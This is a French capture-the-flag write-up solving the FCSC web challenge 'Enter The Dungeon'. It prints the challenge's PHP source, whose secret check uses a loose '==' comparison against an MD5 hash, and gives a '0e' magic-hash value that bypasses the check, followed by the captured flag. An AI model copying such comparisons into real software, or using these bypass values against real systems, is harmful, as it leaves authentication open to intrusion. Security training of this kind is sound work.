Solution de r1secure pour Enter The Dungeon

web PHP

5 janvier 2024

On se connecte sur http://localhost:8000/.

Capture d’écran 2024-01-03 à 18 11 33

Dans le code source de la page, on trouve le commentaire suivant :

<!-- Pour les admins : si vous pouvez valider les changements que j'ai fait dans la page "check_secret.php", le code est accessible sur le fichier "check_secret.txt" -->

On va donc récupèrer le fichier check_secret.txt :

curl http://localhost:8000/check_secret.txt
<?php
	session_start();
	$_SESSION['dungeon_master'] = 0;
?>
<html>
<head>
	<title>Enter The Dungeon</title>
</head>
<body style="background-color:#3CB371;">
<center><h1>Enter The Dungeon</h1></center>
<?php
	echo '<div style="font-size:85%;color:purple">For security reason, secret check is disable !</div><br />';
	echo '<pre>'.chr(10);
	include('./ecsc.txt');
	echo chr(10).'</pre>';

	// authentication is replaced by an impossible test
	//if(md5($_GET['secret']) == "a5de2c87ba651432365a5efd928ee8f2")
	if(md5($_GET['secret']) == $_GET['secret'])
	{
		$_SESSION['dungeon_master'] = 1;
		echo "Secret is correct, welcome Master ! You can now enter the dungeon";
		
	}
	else
	{
		echo "Wrong secret !";
	}
?>
</body></html>

La partie authentication est la suivante :

if(md5($_GET['secret']) == $_GET['secret'])
	{
		$_SESSION['dungeon_master'] = 1;
		echo "Secret is correct, welcome Master ! You can now enter the dungeon";
		
	}

Pour injecter une condition toujours vraie dans $_GET['secret'] dans le contexte de la comparaison MD5, il faudrait envoyer une valeur qui, lorsqu’elle est hashée avec MD5, produit cette même valeur. En PHP, avec la comparaison ==, une chaine de caractère commencant par 0e… sera interprétée comme une notation scientifique,et donc considérée comme étant égale à zéro.

Capture d’écran 2024-01-05 à 12 32 59

Un peu de recherche… => Le hash md5 de 0e215962017 donne 0e291242476940776845150308577824.

La condition PHP va donc donner 0 == 0 donc VRAI.

On passe donc la valeur 0e215962017 au formulaire :

http://172.16.16.247/check_secret.php?secret=0e215962017

Capture d’écran 2024-01-03 à 18 38 28

Capture d’écran 2024-01-03 à 18 38 39

Et nous voilà loggué en tant que dungeon master :

FCSC{f67aaeb3b15152b216cb1addbf0236c66f9d81c4487c4db813c1de8603bb2b5b}